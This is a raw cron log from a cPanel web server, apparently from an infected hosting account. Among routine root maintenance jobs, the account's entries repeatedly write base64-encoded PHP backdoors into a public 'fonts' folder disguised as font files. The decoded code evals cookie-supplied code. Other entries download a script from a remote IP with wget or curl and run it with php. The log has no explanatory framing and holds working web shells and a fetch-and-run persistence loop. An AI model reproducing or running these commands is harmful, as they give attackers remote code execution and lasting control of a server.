Sep  6 13:28:01 ip-184-168-122-23 CROND[25236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:28:01 ip-184-168-122-23 CROND[25237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:28:01 ip-184-168-122-23 CROND[25235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:29:01 ip-184-168-122-23 CROND[25630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:29:01 ip-184-168-122-23 CROND[25633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:29:01 ip-184-168-122-23 CROND[25631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:29:01 ip-184-168-122-23 CROND[25632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:30:01 ip-184-168-122-23 CROND[25936]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:30:01 ip-184-168-122-23 CROND[25938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:30:01 ip-184-168-122-23 CROND[25941]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:30:01 ip-184-168-122-23 CROND[25944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:30:01 ip-184-168-122-23 CROND[25945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:30:01 ip-184-168-122-23 CROND[25947]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:30:01 ip-184-168-122-23 CROND[25949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:30:01 ip-184-168-122-23 CROND[25946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:31:01 ip-184-168-122-23 CROND[26300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:31:01 ip-184-168-122-23 CROND[26302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:31:01 ip-184-168-122-23 CROND[26304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:31:01 ip-184-168-122-23 CROND[26305]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 13:31:02 ip-184-168-122-23 CROND[26303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:32:02 ip-184-168-122-23 CROND[26593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:32:02 ip-184-168-122-23 CROND[26595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:32:02 ip-184-168-122-23 CROND[26596]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:32:02 ip-184-168-122-23 CROND[26598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:32:02 ip-184-168-122-23 CROND[26597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:33:01 ip-184-168-122-23 CROND[26910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:33:01 ip-184-168-122-23 CROND[26914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:33:01 ip-184-168-122-23 CROND[26912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:33:01 ip-184-168-122-23 CROND[26913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:34:01 ip-184-168-122-23 CROND[27222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:34:01 ip-184-168-122-23 CROND[27225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:34:01 ip-184-168-122-23 CROND[27224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:34:01 ip-184-168-122-23 CROND[27227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:34:01 ip-184-168-122-23 CROND[27226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:35:01 ip-184-168-122-23 CROND[27534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:35:01 ip-184-168-122-23 CROND[27536]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 13:35:01 ip-184-168-122-23 CROND[27542]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:35:01 ip-184-168-122-23 CROND[27540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:35:01 ip-184-168-122-23 CROND[27541]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 13:35:01 ip-184-168-122-23 CROND[27539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:35:01 ip-184-168-122-23 CROND[27538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:35:01 ip-184-168-122-23 CROND[27537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:36:01 ip-184-168-122-23 CROND[27837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:36:02 ip-184-168-122-23 CROND[27839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:36:02 ip-184-168-122-23 CROND[27841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:36:02 ip-184-168-122-23 CROND[27840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:36:02 ip-184-168-122-23 CROND[27842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:37:01 ip-184-168-122-23 CROND[28146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:37:01 ip-184-168-122-23 CROND[28147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:37:01 ip-184-168-122-23 CROND[28149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:37:01 ip-184-168-122-23 CROND[28148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:38:01 ip-184-168-122-23 CROND[28421]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:38:01 ip-184-168-122-23 CROND[28424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 13:38:01 ip-184-168-122-23 CROND[28425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:38:01 ip-184-168-122-23 CROND[28423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:38:01 ip-184-168-122-23 CROND[28426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:39:01 ip-184-168-122-23 CROND[28768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:39:01 ip-184-168-122-23 CROND[28770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 13:39:01 ip-184-168-122-23 CROND[28771]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:39:01 ip-184-168-122-23 CROND[28772]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 13:39:01 ip-184-168-122-23 CROND[28773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:40:02 ip-184-168-122-23 CROND[29008]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:40:02 ip-184-168-122-23 CROND[29011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 13:40:02 ip-184-168-122-23 CROND[29012]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:40:02 ip-184-168-122-23 CROND[29014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:40:02 ip-184-168-122-23 CROND[29010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
